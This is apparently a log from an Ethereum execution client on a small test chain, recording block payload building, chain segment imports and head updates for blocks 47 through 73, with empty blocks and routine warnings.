2025-01-15 22:56:12 INFO [01-16|03:56:12.418] Starting work on payload id=0x034450bf7b89b49b
2025-01-15 22:56:12 INFO [01-16|03:56:12.418] Updated payload id=0x034450bf7b89b49b
↳ number=47 hash=781296..b12f71 txs=0 withdrawals=2 gas=0 fees=0 root=094721..789d30
↳ elapsed="257.088s"
2025-01-15 22:56:13 INFO [01-16|03:56:13.919] Stopping work on payload id=0x034450bf7b89b49b
↳ reason=delivery
2025-01-15 22:56:30 INFO [01-16|03:56:30.807] Imported new potential chain segment number=47
↳ hash=61a5fd..30632c blocks=1 txs=0 mgas=0.000 elapsed=2.448ms mgasps=0.000 snapdiffs=14.62KiB
↳ triediffs=149.06KiB triedirty=0.00B
2025-01-15 22:56:34 WARN [01-16|03:56:34.049] Ignoring already known beacon payload number=47
↳ hash=61a5fd..30632c age=51s
2025-01-15 22:56:37 INFO [01-16|03:56:37.038] Chain head was updated number=47
↳ hash=61a5fd..30632c root=094721..789d30 elapsed="150.004s"
2025-01-15 22:56:55 INFO [01-16|03:56:55.109] Starting work on payload id=0x03d6c20fff9e3add
2025-01-15 22:56:55 INFO [01-16|03:56:55.109] Updated payload id=0x03d6c20fff9e3add
↳ number=48 hash=245608..cec36a txs=0 withdrawals=2 gas=0 fees=0 root=a2b606..d3b778
↳ elapsed="251.188s"
2025-01-15 22:56:56 INFO [01-16|03:56:56.611] Stopping work on payload id=0x03d6c20fff9e3add
↳ reason=delivery
2025-01-15 22:57:19 INFO [01-16|03:57:19.574] Imported new potential chain segment number=48
↳ hash=95697f..740761 blocks=1 txs=0 mgas=0.000 elapsed="845.557s" mgasps=0.000 snapdiffs=14.91KiB
↳ triediffs=152.26KiB triedirty=0.00B
2025-01-15 22:57:23 WARN [01-16|03:57:23.042] Ignoring already known beacon payload number=48
↳ hash=95697f..740761 age=50s
2025-01-15 22:57:26 INFO [01-16|03:57:26.449] Chain head was updated number=48
↳ hash=95697f..740761 root=a2b606..d3b778 elapsed="101.536s"
2025-01-15 22:57:37 INFO [01-16|03:57:37.333] Starting work on payload id=0x039a69c198ce92b7
2025-01-15 22:57:37 INFO [01-16|03:57:37.334] Updated payload id=0x039a69c198ce92b7
↳ number=49 hash=4839c6..f854e9 txs=0 withdrawals=2 gas=0 fees=0 root=2728f0..7a9ee6
↳ elapsed="556.101s"
2025-01-15 22:57:38 INFO [01-16|03:57:38.835] Stopping work on payload id=0x039a69c198ce92b7
↳ reason=delivery
2025-01-15 22:58:05 INFO [01-16|03:58:05.839] Imported new potential chain segment number=49
↳ hash=d21bee..980fd9 blocks=1 txs=0 mgas=0.000 elapsed=1.365ms mgasps=0.000 snapdiffs=15.21KiB
↳ triediffs=155.76KiB triedirty=0.00B
2025-01-15 22:58:09 WARN [01-16|03:58:09.356] Ignoring already known beacon payload number=49
↳ hash=d21bee..980fd9 age=47s
2025-01-15 22:58:12 INFO [01-16|03:58:12.830] Chain head was updated number=49
↳ hash=d21bee..980fd9 root=2728f0..7a9ee6 elapsed="72.118s"

```



```

2025-01-15 22:58:17 INFO [01-16|03:58:17.017] Starting work on payload id=0x03e17c440dfa47ec
2025-01-15 22:58:17 INFO [01-16|03:58:17.017] Updated payload id=0x03e17c440dfa47ec
↳ number=50 hash=8d53d4..23395e txs=0 withdrawals=2 gas=0 fees=0 root=541b92..4cacf2
↳ elapsed="254.29s"
2025-01-15 22:58:18 INFO [01-16|03:58:18.518] Stopping work on payload id=0x03e17c440dfa47ec
↳ reason=delivery
2025-01-15 22:58:58 INFO [01-16|03:58:58.879] Imported new potential chain segment number=50
↳ hash=8d53d4..23395e blocks=1 txs=0 mgas=0.000 elapsed="549.048s" mgasps=0.000 snapdiffs=15.50KiB
↳ triediffs=159.01KiB triedirty=0.00B
2025-01-15 22:59:02 WARN [01-16|03:59:02.748] Ignoring already known beacon payload number=50
↳ hash=8d53d4..23395e age=53s
2025-01-15 22:59:06 INFO [01-16|03:59:06.711] Chain head was updated number=50
↳ hash=8d53d4..23395e root=541b92..4cacf2 elapsed="167.886s"
2025-01-15 22:59:06 INFO [01-16|03:59:06.726] Starting work on payload id=0x0339b57e36509c77
2025-01-15 22:59:06 INFO [01-16|03:59:06.727] Updated payload id=0x0339b57e36509c77
↳ number=51 hash=35ff01..145898 txs=0 withdrawals=2 gas=0 fees=0 root=c15f48..07d4a3
↳ elapsed="572.701s"
2025-01-15 22:59:08 INFO [01-16|03:59:08.229] Stopping work on payload id=0x0339b57e36509c77
↳ reason=delivery
2025-01-15 22:59:44 INFO [01-16|03:59:44.266] Imported new potential chain segment number=51
↳ hash=35ff01..145898 blocks=1 txs=0 mgas=0.000 elapsed="488.644s" mgasps=0.000 snapdiffs=15.79KiB
↳ triediffs=162.42KiB triedirty=0.00B
2025-01-15 22:59:47 WARN [01-16|03:59:47.986] Ignoring already known beacon payload number=51
↳ hash=35ff01..145898 age=45s
2025-01-15 22:59:51 INFO [01-16|03:59:51.344] Chain head was updated number=51
↳ hash=35ff01..145898 root=c15f48..07d4a3 elapsed="80.875s"
2025-01-15 23:00:18 INFO [01-16|04:00:18.534] Starting work on payload id=0x030f26bfaf63026b
2025-01-15 23:00:18 INFO [01-16|04:00:18.535] Updated payload id=0x030f26bfaf63026b
↳ number=52 hash=467bb4..0b210e txs=0 withdrawals=2 gas=0 fees=0 root=710876..cefc93
↳ elapsed="364.312s"
2025-01-15 23:00:20 INFO [01-16|04:00:20.036] Stopping work on payload id=0x030f26bfaf63026b
↳ reason=delivery
2025-01-15 23:00:39 INFO [01-16|04:00:39.281] Imported new potential chain segment number=52
↳ hash=39837c..a593fb blocks=1 txs=0 mgas=0.000 elapsed=1.163ms mgasps=0.000 snapdiffs=16.08KiB
↳ triediffs=165.86KiB triedirty=0.00B
2025-01-15 23:00:43 WARN [01-16|04:00:43.362] Ignoring already known beacon payload number=52
↳ hash=39837c..a593fb age=56s
2025-01-15 23:00:47 INFO [01-16|04:00:47.286] Chain head was updated number=52
↳ hash=39837c..a593fb root=710876..cefc93 elapsed="93.342s" age=1m
2025-01-15 23:01:06 INFO [01-16|04:01:06.551] Starting work on payload id=0x03d2edf635dfcefa
2025-01-15 23:01:06 INFO [01-16|04:01:06.551] Updated payload id=0x03d2edf635dfcefa
↳ number=53 hash=5844c1..ba92ad txs=0 withdrawals=2 gas=0 fees=0 root=0c7417..7a5daa
↳ elapsed="346.685s"
2025-01-15 23:01:08 INFO [01-16|04:01:08.053] Stopping work on payload id=0x03d2edf635dfcefa
↳ reason=delivery
2025-01-15 23:01:37 INFO [01-16|04:01:37.347] Imported new potential chain segment number=53
↳ hash=408d7a..8cca2c blocks=1 txs=0 mgas=0.000 elapsed="896.168s" mgasps=0.000 snapdiffs=16.38KiB
↳ triediffs=169.29KiB triedirty=0.00B
2025-01-15 23:01:42 WARN [01-16|04:01:42.268] Ignoring already known beacon payload number=53
↳ hash=408d7a..8cca2c age=59s
2025-01-15 23:01:46 INFO [01-16|04:01:46.493] Chain head was updated number=53
↳ hash=408d7a..8cca2c root=0c7417..7a5daa elapsed="104.685s" age=1m3s
2025-01-15 23:01:58 INFO [01-16|04:01:58.630] Starting work on payload id=0x0323ddb87956071e
2025-01-15 23:01:58 INFO [01-16|04:01:58.631] Updated payload id=0x0323ddb87956071e
↳ number=54 hash=ead545..e3b3ff txs=0 withdrawals=2 gas=0 fees=0 root=d0af6e..200498
↳ elapsed="369.071s"
2025-01-15 23:02:00 INFO [01-16|04:02:00.132] Stopping work on payload id=0x0323ddb87956071e
↳ reason=delivery
2025-01-15 23:02:30 INFO [01-16|04:02:30.822] Imported new potential chain segment number=54
↳ hash=ee18b7..10151f blocks=1 txs=0 mgas=0.000 elapsed="929.932s" mgasps=0.000 snapdiffs=16.67KiB
↳ triediffs=172.79KiB triedirty=0.00B
2025-01-15 23:02:35 WARN [01-16|04:02:35.472] Ignoring already known beacon payload number=54
↳ hash=ee18b7..10151f age=53s
2025-01-15 23:02:40 INFO [01-16|04:02:40.048] Chain head was updated number=54
↳ hash=ee18b7..10151f root=d0af6e..200498 elapsed="113.393s"
2025-01-15 23:02:44 INFO [01-16|04:02:44.187] Starting work on payload id=0x032c4ac21a821cb7
2025-01-15 23:02:44 INFO [01-16|04:02:44.188] Updated payload id=0x032c4ac21a821cb7
↳ number=55 hash=6bff9a..cafd93 txs=0 withdrawals=2 gas=0 fees=0 root=f3cfd0..a1235d
↳ elapsed="314.718s"
2025-01-15 23:02:45 INFO [01-16|04:02:45.689] Stopping work on payload id=0x032c4ac21a821cb7
↳ reason=delivery
2025-01-15 23:03:25 INFO [01-16|04:03:25.469] Imported new potential chain segment number=55
↳ hash=6bff9a..cafd93 blocks=1 txs=0 mgas=0.000 elapsed="516.221s" mgasps=0.000 snapdiffs=16.96KiB
↳ triediffs=176.29KiB triedirty=0.00B
2025-01-15 23:03:29 WARN [01-16|04:03:29.706] Ignoring already known beacon payload number=55
↳ hash=6bff9a..cafd93 age=54s

```

```

2025-01-15 23:03:33 INFO [01-16|04:03:33.486] Chain head was updated number=55
↳ hash=6bff9a..cafd93 root=f3cfd0..a1235d elapsed="143.538s"
2025-01-15 23:03:33 INFO [01-16|04:03:33.504] Starting work on payload id=0x037e1c22d721ade5
2025-01-15 23:03:33 INFO [01-16|04:03:33.504] Updated payload id=0x037e1c22d721ade5
↳ number=56 hash=0b15d6..610f6a txs=0 withdrawals=2 gas=0 fees=0 root=5adfa5..bc7161
↳ elapsed="424.857s"
2025-01-15 23:03:35 INFO [01-16|04:03:35.006] Stopping work on payload id=0x037e1c22d721ade5
↳ reason=delivery
2025-01-15 23:03:43 INFO [01-16|04:03:43.538] Imported new potential chain segment number=56
↳ hash=e2d3dd..2bae65 blocks=1 txs=0 mgas=0.000 elapsed=1.084ms mgasps=0.000 snapdiffs=17.26KiB
↳ triediffs=179.82KiB triedirty=0.00B
2025-01-15 23:03:50 INFO [01-16|04:03:50.868] Imported new potential chain segment number=56
↳ hash=123842..231351 blocks=1 txs=0 mgas=0.000 elapsed="515.049s" mgasps=0.000 snapdiffs=17.26KiB
↳ triediffs=179.82KiB triedirty=0.00B
2025-01-15 23:03:58 INFO [01-16|04:03:58.978] Imported new potential chain segment number=56
↳ hash=2929c8..874345 blocks=1 txs=0 mgas=0.000 elapsed="551.793s" mgasps=0.000 snapdiffs=17.26KiB
↳ triediffs=179.82KiB triedirty=0.00B
2025-01-15 23:04:07 INFO [01-16|04:04:07.526] Imported new potential chain segment number=56
↳ hash=578968..fa40e5 blocks=1 txs=0 mgas=0.000 elapsed="768.98s" mgasps=0.000 snapdiffs=17.26KiB
↳ triediffs=179.82KiB triedirty=0.00B
2025-01-15 23:04:17 INFO [01-16|04:04:17.304] Imported new potential chain segment number=56
↳ hash=0b15d6..610f6a blocks=1 txs=0 mgas=0.000 elapsed="575.106s" mgasps=0.000 snapdiffs=17.26KiB
↳ triediffs=179.82KiB triedirty=0.00B
2025-01-15 23:04:30 WARN [01-16|04:04:30.026] Ignoring already known beacon payload number=56
↳ hash=123842..231351 age=1m1s
2025-01-15 23:04:34 WARN [01-16|04:04:34.093] Ignoring already known beacon payload number=56
↳ hash=123842..231351 age=1m5s
2025-01-15 23:04:38 INFO [01-16|04:04:38.190] Chain head was updated number=56
↳ hash=123842..231351 root=5adfa5..bc7161 elapsed="116.71s" age=1m9s
2025-01-15 23:05:07 INFO [01-16|04:05:07.559] Starting work on payload id=0x03068b0957be895c
2025-01-15 23:05:07 INFO [01-16|04:05:07.559] Updated payload id=0x03068b0957be895c
↳ number=57 hash=e42b96..9cdc86 txs=0 withdrawals=2 gas=0 fees=0 root=3ab9c8..804bc6
↳ elapsed="268.194s"
2025-01-15 23:05:09 INFO [01-16|04:05:09.060] Stopping work on payload id=0x03068b0957be895c
↳ reason=delivery
2025-01-15 23:05:28 INFO [01-16|04:05:28.921] Imported new potential chain segment number=57
↳ hash=d033e3..f086c3 blocks=1 txs=0 mgas=0.000 elapsed=1.216ms mgasps=0.000 snapdiffs=17.55KiB
↳ triediffs=183.10KiB triedirty=0.00B
2025-01-15 23:05:33 WARN [01-16|04:05:33.472] Ignoring already known beacon payload number=57
↳ hash=d033e3..f086c3 age=1m
2025-01-15 23:05:38 INFO [01-16|04:05:38.056] Chain head was updated number=57
↳ hash=d033e3..f086c3 root=3ab9c8..804bc6 elapsed="82.934s" age=1m5s
2025-01-15 23:05:58 INFO [01-16|04:05:58.487] Starting work on payload id=0x03f8e13f3b3d5b80
2025-01-15 23:05:58 INFO [01-16|04:05:58.488] Updated payload id=0x03f8e13f3b3d5b80
↳ number=58 hash=32519a..bbe902 txs=0 withdrawals=2 gas=0 fees=0 root=d5b97a..49f006
↳ elapsed="443.879s"
2025-01-15 23:05:59 INFO [01-16|04:05:59.989] Stopping work on payload id=0x03f8e13f3b3d5b80
↳ reason=delivery
2025-01-15 23:06:11 INFO [01-16|04:06:11.868] Imported new potential chain segment number=58
↳ hash=a057f9..405910 blocks=1 txs=0 mgas=0.000 elapsed="910.324s" mgasps=0.000 snapdiffs=17.84KiB
↳ triediffs=186.66KiB triedirty=0.00B
2025-01-15 23:06:19 INFO [01-16|04:06:19.498] Imported new potential chain segment number=58
↳ hash=bbd676..8bd75f blocks=1 txs=0 mgas=0.000 elapsed="890.983s" mgasps=0.000 snapdiffs=17.84KiB
↳ triediffs=186.66KiB triedirty=0.00B
2025-01-15 23:06:23 WARN [01-16|04:06:23.834] Ignoring already known beacon payload number=58
↳ hash=bbd676..8bd75f age=50s
2025-01-15 23:06:28 INFO [01-16|04:06:28.409] Chain head was updated number=58
↳ hash=bbd676..8bd75f root=d5b97a..49f006 elapsed="106.801s"
2025-01-15 23:06:40 INFO [01-16|04:06:40.834] Starting work on payload id=0x03eae27c51027b06
2025-01-15 23:06:40 INFO [01-16|04:06:40.835] Updated payload id=0x03eae27c51027b06
↳ number=59 hash=677467..dddfeb txs=0 withdrawals=2 gas=0 fees=0 root=b6eb5f..f24889
↳ elapsed="225.208s"
2025-01-15 23:06:42 INFO [01-16|04:06:42.335] Stopping work on payload id=0x03eae27c51027b06
↳ reason=delivery
2025-01-15 23:06:53 INFO [01-16|04:06:53.796] Imported new potential chain segment number=59
↳ hash=2b0268..c571ba blocks=1 txs=0 mgas=0.000 elapsed="777.061s" mgasps=0.000 snapdiffs=18.13KiB
↳ triediffs=189.91KiB triedirty=0.00B
2025-01-15 23:07:02 INFO [01-16|04:07:02.533] Imported new potential chain segment number=59
↳ hash=26d65d..eb29be blocks=1 txs=0 mgas=0.000 elapsed="649.628s" mgasps=0.000 snapdiffs=18.13KiB
↳ triediffs=189.91KiB triedirty=0.00B
2025-01-15 23:07:10 INFO [01-16|04:07:10.358] Imported new potential chain segment number=59
↳ hash=e425d5..e7941b blocks=1 txs=0 mgas=0.000 elapsed="631.38s" mgasps=0.000 snapdiffs=18.13KiB
↳ triediffs=189.91KiB triedirty=0.00B
2025-01-15 23:07:15 WARN [01-16|04:07:15.441] Ignoring already known beacon payload number=59
↳ hash=e425d5..e7941b age=52s
2025-01-15 23:07:19 INFO [01-16|04:07:19.762] Chain head was updated number=59
↳ hash=e425d5..e7941b root=b6eb5f..f24889 elapsed="161.111s"

```

```

2025-01-15 23:07:24 INFO [01-16|04:07:24.062] Starting work on payload id=0x03b235738d714886
2025-01-15 23:07:24 INFO [01-16|04:07:24.063] Updated payload id=0x03b235738d714886
↳ number=60 hash=7e1862..a27301 txs=0 withdrawals=2 gas=0 fees=0 root=53174d..4be358
↳ elapsed="334.195s"
2025-01-15 23:07:25 INFO [01-16|04:07:25.564] Stopping work on payload id=0x03b235738d714886
↳ reason=delivery
2025-01-15 23:08:07 INFO [01-16|04:08:07.520] Imported new potential chain segment number=60
↳ hash=7e1862..a27301 blocks=1 txs=0 mgas=0.000 elapsed="670.412s" mgasps=0.000 snapdiffs=18.43KiB
↳ triediffs=193.60KiB triedirty=0.00B
2025-01-15 23:08:12 WARN [01-16|04:08:12.365] Ignoring already known beacon payload number=60
↳ hash=7e1862..a27301 age=57s
2025-01-15 23:08:16 INFO [01-16|04:08:16.648] Chain head was updated number=60
↳ hash=7e1862..a27301 root=53174d..4be358 elapsed="133.717s" age=1m1s
2025-01-15 23:08:16 INFO [01-16|04:08:16.664] Starting work on payload id=0x031569988f0e3435
2025-01-15 23:08:16 INFO [01-16|04:08:16.664] Updated payload id=0x031569988f0e3435
↳ number=61 hash=id03e5..e1ac02 txs=0 withdrawals=2 gas=0 fees=0 root=3b7a5a..576d3d
↳ elapsed="403.575s"
2025-01-15 23:08:18 INFO [01-16|04:08:18.172] Stopping work on payload id=0x031569988f0e3435
↳ reason=delivery
2025-01-15 23:09:12 INFO [01-16|04:09:12.627] Imported new potential chain segment number=61
↳ hash=1841c2..8f005c blocks=1 txs=0 mgas=0.000 elapsed="721.011s" mgasps=0.000 age=1m
↳ snapdiffs=18.72KiB triediffs=197.07KiB triedirty=0.00B
2025-01-15 23:09:17 WARN [01-16|04:09:17.449] Ignoring already known beacon payload number=61
↳ hash=1841c2..8f005c age=1m5s
2025-01-15 23:09:21 INFO [01-16|04:09:21.802] Chain head was updated number=61
↳ hash=1841c2..8f005c root=3b7a5a..576d3d elapsed="160.199s" age=1m9s
2025-01-15 23:09:50 INFO [01-16|04:09:50.306] Starting work on payload id=0x03c0008c5a01f170
2025-01-15 23:09:50 INFO [01-16|04:09:50.307] Updated payload id=0x03c0008c5a01f170
↳ number=62 hash=95f18e..31bb60 txs=0 withdrawals=2 gas=0 fees=0 root=902387..6a695a
↳ elapsed="245.493s"
2025-01-15 23:09:51 INFO [01-16|04:09:51.808] Stopping work on payload id=0x03c0008c5a01f170
↳ reason=delivery
2025-01-15 23:10:08 INFO [01-16|04:10:08.904] Imported new potential chain segment number=62
↳ hash=15c96f..86ae2b blocks=1 txs=0 mgas=0.000 elapsed="846.682s" mgasps=0.000 snapdiffs=19.01KiB
↳ triediffs=200.71KiB triedirty=0.00B
2025-01-15 23:10:13 WARN [01-16|04:10:13.512] Ignoring already known beacon payload number=62
↳ hash=15c96f..86ae2b age=56s
2025-01-15 23:10:18 INFO [01-16|04:10:18.091] Chain head was updated number=62
↳ hash=15c96f..86ae2b root=902387..6a695a elapsed="128.364s" age=1m1s
2025-01-15 23:10:39 INFO [01-16|04:10:39.699] Starting work on payload id=0x0376fcb3501e238f
2025-01-15 23:10:39 INFO [01-16|04:10:39.699] Updated payload id=0x0376fcb3501e238f
↳ number=63 hash=51436f..d6f446 txs=0 withdrawals=2 gas=0 fees=0 root=c31c81..1c8a3d
↳ elapsed="243.703s"
2025-01-15 23:10:41 INFO [01-16|04:10:41.201] Stopping work on payload id=0x0376fcb3501e238f
↳ reason=delivery
2025-01-15 23:11:11 INFO [01-16|04:11:11.306] Imported new potential chain segment number=63
↳ hash=ae6835..16eb8c blocks=1 txs=0 mgas=0.000 elapsed="666.15s" mgasps=0.000 snapdiffs=19.31KiB
↳ triediffs=204.23KiB triedirty=0.00B
2025-01-15 23:11:16 WARN [01-16|04:11:16.370] Ignoring already known beacon payload number=63
↳ hash=ae6835..16eb8c age=1m3s
2025-01-15 23:11:21 INFO [01-16|04:11:21.252] Chain head was updated number=63
↳ hash=ae6835..16eb8c root=c31c81..1c8a3d elapsed="53.764s" age=1m8s
2025-01-15 23:11:33 INFO [01-16|04:11:33.937] Starting work on payload id=0x0344194a50bcef93
2025-01-15 23:11:33 INFO [01-16|04:11:33.938] Updated payload id=0x0344194a50bcef93
↳ number=64 hash=c382ba..010b4e txs=0 withdrawals=2 gas=0 fees=0 root=57c2f8..6afb14
↳ elapsed="250.427s"
2025-01-15 23:11:35 INFO [01-16|04:11:35.438] Stopping work on payload id=0x0344194a50bcef93
↳ reason=delivery
2025-01-15 23:12:03 INFO [01-16|04:12:03.302] Imported new potential chain segment number=64
↳ hash=0579f4..a4dcbe blocks=1 txs=0 mgas=0.000 elapsed="737.489s" mgasps=0.000 snapdiffs=19.60KiB
↳ triediffs=207.73KiB triedirty=0.00B
2025-01-15 23:12:08 WARN [01-16|04:12:08.994] Ignoring already known beacon payload number=64
↳ hash=0579f4..a4dcbe age=52s
2025-01-15 23:12:13 INFO [01-16|04:12:13.961] Chain head was updated number=64
↳ hash=0579f4..a4dcbe root=57c2f8..6afb14 elapsed="94.209s"
2025-01-15 23:12:18 INFO [01-16|04:12:18.197] Starting work on payload id=0x033df5f2ea650ce2
2025-01-15 23:12:18 INFO [01-16|04:12:18.198] Updated payload id=0x033df5f2ea650ce2
↳ number=65 hash=ee09bd..86d4bf txs=0 withdrawals=2 gas=0 fees=0 root=a3c479..3e93be
↳ elapsed="258.547s"
2025-01-15 23:12:19 INFO [01-16|04:12:19.699] Stopping work on payload id=0x033df5f2ea650ce2
↳ reason=delivery
2025-01-15 23:13:19 INFO [01-16|04:13:19.638] Imported new potential chain segment number=65
↳ hash=306ad3..bfa5f5 blocks=1 txs=0 mgas=0.000 elapsed="680.222s" mgasps=0.000 age=1m11s
↳ snapdiffs=19.89KiB triediffs=210.71KiB triedirty=0.00B
2025-01-15 23:13:25 WARN [01-16|04:13:25.147] Ignoring already known beacon payload number=65
↳ hash=306ad3..bfa5f5 age=1m17s

```

```

2025-01-15 23:13:30 INFO [01-16|04:13:30.483] Chain head was updated number=65
↳ hash=306ad3..bfa5f5 root=a3c479..3e93be elapsed="180.755s" age=1m22s
2025-01-15 23:13:30 INFO [01-16|04:13:30.499] Starting work on payload id=0x0316f6c57d335b87
2025-01-15 23:13:30 INFO [01-16|04:13:30.499] Updated payload id=0x0316f6c57d335b87
↳ number=66 hash=1b0b1e..b77785 txs=0 withdrawals=2 gas=0 fees=0 root=9a4882..f84dce
↳ elapsed="392.988s"
2025-01-15 23:13:32 INFO [01-16|04:13:32.001] Stopping work on payload id=0x0316f6c57d335b87
↳ reason=delivery
2025-01-15 23:13:41 INFO [01-16|04:13:41.667] Imported new potential chain segment number=66
↳ hash=9ccae8..af29ca blocks=1 txs=0 mgas=0.000 elapsed="971.78s" mgasps=0.000 snapdiffs=20.19KiB
↳ triediffs=214.24KiB triedirty=0.00B
2025-01-15 23:14:14 INFO [01-16|04:14:14.554] Imported new potential chain segment number=66
↳ hash=1b0b1e..b77785 blocks=1 txs=0 mgas=0.000 elapsed="578.169s" mgasps=0.000 snapdiffs=20.48KiB
↳ triediffs=217.53KiB triedirty=0.00B
2025-01-15 23:14:36 INFO [01-16|04:14:36.766] Imported new potential chain segment number=66
↳ hash=a55c70..865c91 blocks=1 txs=0 mgas=0.000 elapsed=1.279ms mgasps=0.000 age=1m12s
↳ snapdiffs=20.48KiB triediffs=217.53KiB triedirty=0.00B
2025-01-15 23:14:41 WARN [01-16|04:14:41.949] Ignoring already known beacon payload number=66
↳ hash=a55c70..865c91 age=1m17s
2025-01-15 23:14:46 INFO [01-16|04:14:46.985] Chain head was updated number=66
↳ hash=a55c70..865c91 root=7b35d7..e8f372 elapsed="74.882s" age=1m22s
2025-01-15 23:15:16 INFO [01-16|04:15:16.966] Starting work on payload id=0x03bc0ed0c67277d0
2025-01-15 23:15:16 INFO [01-16|04:15:16.966] Updated payload id=0x03bc0ed0c67277d0
↳ number=67 hash=e43731..d9929e txs=0 withdrawals=2 gas=0 fees=0 root=2f004a..bf7f02
↳ elapsed="258.486s"
2025-01-15 23:15:18 INFO [01-16|04:15:18.467] Stopping work on payload id=0x03bc0ed0c67277d0
↳ reason=delivery
2025-01-15 23:15:37 INFO [01-16|04:15:37.569] Imported new potential chain segment number=67
↳ hash=5e348a..1c760e blocks=1 txs=0 mgas=0.000 elapsed="998.555s" mgasps=0.000 snapdiffs=20.77KiB
↳ triediffs=221.21KiB triedirty=0.00B
2025-01-15 23:15:42 WARN [01-16|04:15:42.707] Ignoring already known beacon payload number=67
↳ hash=5e348a..1c760e age=1m1s
2025-01-15 23:15:48 INFO [01-16|04:15:48.037] Chain head was updated number=67
↳ hash=5e348a..1c760e root=2f004a..bf7f02 elapsed="60.739s" age=1m7s
2025-01-15 23:16:07 INFO [01-16|04:16:07.400] Starting work on payload id=0x03ef8e78bc3f6755
2025-01-15 23:16:07 INFO [01-16|04:16:07.400] Updated payload id=0x03ef8e78bc3f6755
↳ number=68 hash=e6d83b..68e343 txs=0 withdrawals=2 gas=0 fees=0 root=19f604..80bc46
↳ elapsed="462.042s"
2025-01-15 23:16:08 INFO [01-16|04:16:08.901] Stopping work on payload id=0x03ef8e78bc3f6755
↳ reason=delivery
2025-01-15 23:16:32 INFO [01-16|04:16:32.806] Imported new potential chain segment number=68
↳ hash=3204ab..2868fc blocks=1 txs=0 mgas=0.000 elapsed="983.523s" mgasps=0.000 snapdiffs=21.06KiB
↳ triediffs=224.74KiB triedirty=0.00B
2025-01-15 23:16:38 WARN [01-16|04:16:38.306] Ignoring already known beacon payload number=68
↳ hash=3204ab..2868fc age=56s
2025-01-15 23:16:43 INFO [01-16|04:16:43.488] Chain head was updated number=68
↳ hash=3204ab..2868fc root=19f604..80bc46 elapsed="123.065s" age=1m1s
2025-01-15 23:16:56 INFO [01-16|04:16:56.753] Starting work on payload id=0x03951884e725573b
2025-01-15 23:16:56 INFO [01-16|04:16:56.753] Updated payload id=0x03951884e725573b
↳ number=69 hash=584585..1cd621 txs=0 withdrawals=2 gas=0 fees=0 root=5cad46..cc8038
↳ elapsed="266.987s"
2025-01-15 23:16:58 INFO [01-16|04:16:58.254] Stopping work on payload id=0x03951884e725573b
↳ reason=delivery
2025-01-15 23:17:44 INFO [01-16|04:17:44.069] Imported new potential chain segment number=69
↳ hash=584585..1cd621 blocks=1 txs=0 mgas=0.000 elapsed="645.922s" mgasps=0.000 age=1m6s
↳ snapdiffs=21.36KiB triediffs=228.03KiB triedirty=0.00B
2025-01-15 23:17:49 WARN [01-16|04:17:49.674] Ignoring already known beacon payload number=69
↳ hash=584585..1cd621 age=1m11s
2025-01-15 23:17:56 INFO [01-16|04:17:56.357] Chain head was updated number=69
↳ hash=584585..1cd621 root=5cad46..cc8038 elapsed="184.969s" age=1m18s
2025-01-15 23:18:00 INFO [01-16|04:18:00.549] Starting work on payload id=0x0365cb47da35e630
2025-01-15 23:18:00 INFO [01-16|04:18:00.550] Updated payload id=0x0365cb47da35e630
↳ number=70 hash=1d1624..9197a3 txs=0 withdrawals=2 gas=0 fees=0 root=01e60e..5ab22e
↳ elapsed="280.601s"
2025-01-15 23:18:02 INFO [01-16|04:18:02.052] Stopping work on payload id=0x0365cb47da35e630
↳ reason=delivery
2025-01-15 23:18:47 INFO [01-16|04:18:47.844] Imported new potential chain segment number=70
↳ hash=1d1624..9197a3 blocks=1 txs=0 mgas=0.000 elapsed="473.999s" mgasps=0.000 snapdiffs=21.65KiB
↳ triediffs=231.28KiB triedirty=0.00B
2025-01-15 23:18:53 WARN [01-16|04:18:53.637] Ignoring already known beacon payload number=70
↳ hash=1d1624..9197a3 age=1m4s
2025-01-15 23:18:59 INFO [01-16|04:18:59.069] Chain head was updated number=70
↳ hash=1d1624..9197a3 root=01e60e..5ab22e elapsed="120.489s" age=1m10s
2025-01-15 23:18:59 INFO [01-16|04:18:59.090] Starting work on payload id=0x0313eb2b0d59021c
2025-01-15 23:18:59 INFO [01-16|04:18:59.091] Updated payload id=0x0313eb2b0d59021c
↳ number=71 hash=318a2e..b74692 txs=0 withdrawals=2 gas=0 fees=0 root=c7cf7d..8704fb
↳ elapsed="428.84s"

```



```

2025-01-15 23:19:00 INFO [01-16|04:19:00.593] Stopping work on payload id=0x0313eb2b0d59021c
↳ reason=delivery
2025-01-15 23:19:10 INFO [01-16|04:19:10.812] Imported new potential chain segment number=71
↳ hash=02b064..1cd948 blocks=1 txs=0 mgas=0.000 elapsed="625.326s" mgasps=0.000 snapdiffs=21.94KiB
↳ triediffs=235.08KiB triedirty=0.00B
2025-01-15 23:20:00 INFO [01-16|04:20:00.461] Imported new potential chain segment number=71
↳ hash=e5fcbf..9fab7e blocks=1 txs=0 mgas=0.000 elapsed="771.089s" mgasps=0.000 age=1m7s
↳ snapdiffs=21.94KiB triediffs=235.08KiB triedirty=0.00B
2025-01-15 23:20:05 WARN [01-16|04:20:05.855] Ignoring already known beacon payload number=71
↳ hash=e5fcbf..9fab7e age=1m12s
2025-01-15 23:20:11 INFO [01-16|04:20:11.103] Chain head was updated number=71
↳ hash=e5fcbf..9fab7e root=c7cf7d..8704fb elapsed="121.912s" age=1m18s
2025-01-15 23:20:40 INFO [01-16|04:20:40.810] Starting work on payload id=0x03bc6fb85a05d90b
2025-01-15 23:20:40 INFO [01-16|04:20:40.810] Updated payload id=0x03bc6fb85a05d90b
↳ number=72 hash=dcc9e3..fd118f txs=0 withdrawals=2 gas=0 fees=0 root=96ae39..04429d
↳ elapsed="314.571s"
2025-01-15 23:20:42 INFO [01-16|04:20:42.311] Stopping work on payload id=0x03bc6fb85a05d90b
↳ reason=delivery
2025-01-15 23:21:02 INFO [01-16|04:21:02.450] Imported new potential chain segment number=72
↳ hash=88de5f..6cc2fe blocks=1 txs=0 mgas=0.000 elapsed=1.796ms mgasps=0.000 snapdiffs=22.24KiB
↳ triediffs=238.77KiB triedirty=0.00B
2025-01-15 23:21:08 WARN [01-16|04:21:08.103] Ignoring already known beacon payload number=72
↳ hash=88de5f..6cc2fe age=1m3s
2025-01-15 23:21:13 INFO [01-16|04:21:13.446] Chain head was updated number=72
↳ hash=88de5f..6cc2fe root=96ae39..04429d elapsed="119.168s" age=1m8s
2025-01-15 23:21:36 INFO [01-16|04:21:36.725] Starting work on payload id=0x0351c383e254311f
2025-01-15 23:21:36 INFO [01-16|04:21:36.726] Updated payload id=0x0351c383e254311f
↳ number=73 hash=ab7a89..b423b5 txs=0 withdrawals=2 gas=0 fees=0 root=2fb33e..132904
↳ elapsed="269.358s"
